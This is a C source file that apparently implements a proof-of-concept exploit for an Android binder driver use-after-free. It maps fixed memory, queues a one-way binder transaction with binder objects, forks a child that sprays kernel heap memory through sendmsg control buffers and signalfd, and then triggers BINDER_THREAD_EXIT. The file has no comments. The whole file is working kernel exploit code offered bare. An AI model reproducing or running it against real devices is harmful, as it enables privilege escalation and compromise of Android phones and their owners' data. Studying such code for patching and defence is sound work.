#include <errno.h>
#include <time.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <linux/android/binder.h>
#define TRIGGER_THREAD_NUM 100
#define MEM_ADDR 0x80000000
#define MEM_SIZE 0x1000
#define OFFSETS_START 0x500

static inline  void init_binder_transaction(int nb){

     for(int  i = 0 ; i < nb ; ++i){
          struct flat_binder_object * fbo = (struct flat_binder_object *)((void *) (MEM_ADDR + 0x400LL + i*sizeof(*fbo)));
          fbo->hdr.type = BINDER_TYPE_BINDER;
          fbo->binder = i;
          fbo->cookie = i;
          uint64_t * offset = (uint64_t) ((void *) (MEM_ADDR + OFFSETS_START + 8LL *i));
          *offset = i * sizeof(*fbo);
     }


     struct binder_transaction_data btd2 = {
          .flags = TF_ONE_WAY,
          .data_size = 0x28 * nb,
          .offsets_size = 8 * nb,
          .data.ptr.buffer = MEM_ADDR + 0x400,
          .data.ptr.offsets = MEM_ADDR + OFFSETS_START,

     };

     uint64_t txn_size = sizeof(uint32_t) + sizeof(btd2);   

     *(uint32_t *)(MEM_ADDR + 0x200) = BC_TRANSACTION;
     memcpy((void *)(MEM_ADDR +0x204),&btd2,sizeof(btd2));
     
     struct binder_write_read bwr = {
          .write_buffer = MEM_ADDR + 0x200,
          .write_size = txn_size
     };
     memcpy((void *)(MEM_ADDR + 0x100),&bwr,sizeof(bwr));
}
int main(){
     int binder_fd = open("/dev/binder",O_RDWR);
     int delay;
     int msg_buf[10];
     int ctl_buf[128/4];
     struct msghdr spray_msg;
     struct iovec siov;
     uint64_t sigset_value;
     ctl_buf[0] = 128-8;
     ctl_buf[6] =0xdeadbeef;
     siov.iov_base = msg_buf;
     siov.iov_len = 40;
     spray_msg.msg_iov = &siov;
     spray_msg.msg_iovlen = 1;
     spray_msg.msg_controllen =  120;
      int sock_fd[2] = {0};
   


     if(binder_fd < 0)
      {
           printf("error");
           exit(EXIT_FAILURE);
      }
      mmap((void *)MEM_ADDR,MEM_SIZE,PROT_READ | PROT_WRITE,
     MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,-1,0);
     
     init_binder_transaction(1);
//   int binder_fd_copy = dup(binder_fd);
     pid_t child = fork();
     if(child == 0)
     {
      

         ioctl(binder_fd,BINDER_WRITE_READ,MEM_ADDR + 0x100);
         for(int i = 0 ; i < 20 ; ++i){
              sigset_value = ~0;
                if(socketpair(AF_UNIX,SOCK_STREAM,0,sock_fd) == -1)
    {
         printf("[-]can not create socketpair\n");
         exit(EXIT_FAILURE);
    }else{
        printf("[+] created socketpair successfully\n");
    }

              sendmsg(sock_fd[0],&spray_msg,MSG_OOB);
              signalfd(-1,(sigset_t*)&sigset_value,0);
         }
         

     }
     sleep(500);
     ioctl(binder_fd,BINDER_THREAD_EXIT,0);
     printf("okk");
}
